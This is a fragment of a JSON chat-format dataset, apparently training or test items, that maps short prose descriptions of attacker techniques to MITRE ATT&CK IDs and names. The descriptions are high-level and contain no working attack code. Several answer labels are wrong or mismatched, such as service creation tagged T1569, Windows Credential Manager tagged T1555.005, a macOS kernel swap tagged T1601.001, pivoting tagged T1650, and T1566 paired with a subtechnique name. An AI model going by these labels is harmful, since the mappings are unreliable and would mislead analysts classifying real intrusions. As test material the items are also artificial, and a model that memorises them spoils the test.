                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors insert a malicious command in the Windows Logon script (logon.bat) executed via Group Policy."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries establish a connection to internal hosts by exploiting NAT traversal, sending packets that are relayed through the router’s port‑forwarding rules."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A deceptive internal email invites users to click a link for a mandatory software update, leading to credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the Microsoft Build Engine (MSBuild) to execute malicious code by leveraging trusted developer utilities as a proxy."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary delays malicious activity by sleeping for several hours to avoid triggering sandbox time limits."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses the PowerShell Compress-Archive cmdlet, which relies on the underlying .NET compression library, to bundle exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new Windows service that runs a malicious payload at system startup."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the cloud provider's metadata API without authentication to steal temporary credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a hidden cron job that periodically checks for updates from a command-and-control server and executes them silently."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses WMIC command `wmic product get name,version` to enumerate installed software on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a launch daemon plist into /Library/LaunchDaemons and registers it with launchctl to start automatically."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a system, the threat actor removed all references to the original tool’s source repository from the binary to hide its provenance."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a compromised AWS account to spin up malicious EC2 instances for C2."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mshta is called with the argument `mshta.exe \"javascript:eval('...');\"` to execute in‑memory code without touching disk."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool exploits a vulnerability to gain access to the webcam and continuously records video footage."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the dynamic linker by inserting a rogue .so file into the library search path, causing the target binary to execute attacker-controlled functions."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a fake antivirus software to trick users into installing malware on their systems."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses launchctl bootstrap to install a custom launch agent in the user domain."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installed via a malicious email attachment extracts saved credentials from the Windows Credential Manager and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware monitors Discord server logs and captures user credentials that are posted in public chat rooms."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gained FTP credentials and uploaded a defaced landing page containing a protest slogan to the target’s public web server."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces a legitimate shared object with a malicious one in the library search path, causing the compromised binary to execute the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder utilizes a web shell to upload a Linux ELF binary to the compromised web server for later execution."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised employee's device was used to pivot into the corporate network without detection."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used the name \"taskmgr .exe\" for a backdoor executable, inserting a space before the extension to mimic the Windows Task Manager."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the Exchange Management Shell, the attacker runs \"Get-Recipient -RecipientTypeDetails UserMailbox\" to collect email account details."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is loaded via DCOM, allowing the attacker to run commands on a remote computer."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a cron job that invokes a wget command to retrieve a remote script and then exfiltrates system information to a malicious S3 bucket every day."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker scripts the creation of a standard local user account to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors changed the Kubernetes pod security policies to allow privileged containers on worker nodes."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary's tool records the current epoch time and introduces a delay until a specific future date, ensuring it remains dormant during rapid automated analysis."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary establishes a persistent reverse shell that tunnels commands and data through a legitimate HTTP service to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs 'systeminfo' and parses the output for driver version information."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts password hashes from the SAM database using Reg.exe."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group abuses the Verclsid utility to invoke a malicious COM component, effectively using the system binary to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker infiltrates a Certificate Authority's system to issue fraudulent code signing certificates for their own malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security analysts observed cmstp.exe being used to load a malicious DLL via an INF file, indicating the T1218.003 technique."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchased a dedicated DNS server from a cloud provider to manage command‑and‑control traffic."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gained access to the victim's Apache server and installed a rogue module to execute arbitrary code on the host."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes the \"ccleaner.exe\" auto-elevate vulnerability, placing a malicious DLL in the same directory to have it loaded with administrator rights without UAC interaction."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the DOM of a corporate portal using a man‑in‑the‑middle injection to display fake alerts."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Google Dork techniques, the adversary searches for the target's domain to identify misconfigured pages."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages default credentials for IoT devices, spraying one password across many devices."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the domain's trust policy, the attacker enabled single sign‑on for accounts in a compromised external domain."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executes a PowerShell script that adds the 'SAFEBOOT_OPTION' to the boot configuration, causing the OS to start with minimal services."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Jenkins server is used to download job configuration files that contain plaintext credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group encodes extracted data using standard Base64 and splits it across multiple DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group creates a scheduled job in Task Scheduler to launch a persistence service after user login."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker gains access to a hardware vendor's OTA update server, distributing malicious firmware updates to all devices in the field."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By orphaning its own process and reattaching it under a system process, the attacker hides its presence in process monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to conceal their activity, the adversary stores a PowerShell script in the resource fork of a legitimate executable, bypassing typical file integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor modifies the registry value ImagePath for a service to point to a malicious executable, ensuring it runs with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker establishes a rule in the victim’s mail account that redirects all incoming communications to a mail server they own."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By using installutil.exe with the /LogFile= option, the attacker hides its activity while installing a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT uses a credential phishing email to trick users into entering their Microsoft 365 passwords."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured VPN to gain access to internal hosts and move laterally."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the procfs interface on Linux to map a malicious payload into the memory of a running process and modifies its instruction pointer."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script pulls the list of running processes and records their command-line arguments."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using signed developer tools like signtool.exe, the threat actor proxies execution of payloads on the target system."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro embedded in a Word document is emailed to targets, and when enabled, it downloads and executes a credential‑stealer."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat deployed a custom driver that swapped out the macOS system kernel image with a compromised version during a routine update."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries placed a phishing tool in the Program Files directory and called it \"Microsoft Word.exe\" to blend with everyday applications."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email was sent to a manager with a malicious .js file disguised as a report, leading to execution of a keylogger upon opening."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exfiltration is performed by encoding data as DNS queries, each query staying under the 255‑character limit."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code extracts a steganographically hidden executable from an image file and then decodes it before execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program disables secure boot by flipping the UEFI setting, resulting in a downgrade of the system's boot integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages the built‑in 'Compact' utility on Windows to compress a directory of encrypted data prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign uses BITS to silently download encryption keys from a remote server before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the malware schedules an APC that runs user‑mode code inside a target process's context."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors compromise a victim’s GitHub Actions CI/CD pipeline and use the workflow’s self‑hosted runner to establish a remote shell on the build environment."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor distributes a .lnk file with a custom icon extracted from a Windows system binary, masking the actual executable path."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leveraged an unpatched Magento e‑commerce site, using a remote code execution exploit to gain initial access to the network."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator uses a compromised Microsoft Teams account to share a malicious file directly with selected users."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops an encrypted payload and then uses a custom XOR routine to decrypt and execute the file."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a debug interface to read securityd memory and extract password store entries."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage group enumerates Confluence space identifiers via API enumeration and then downloads each space’s content."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
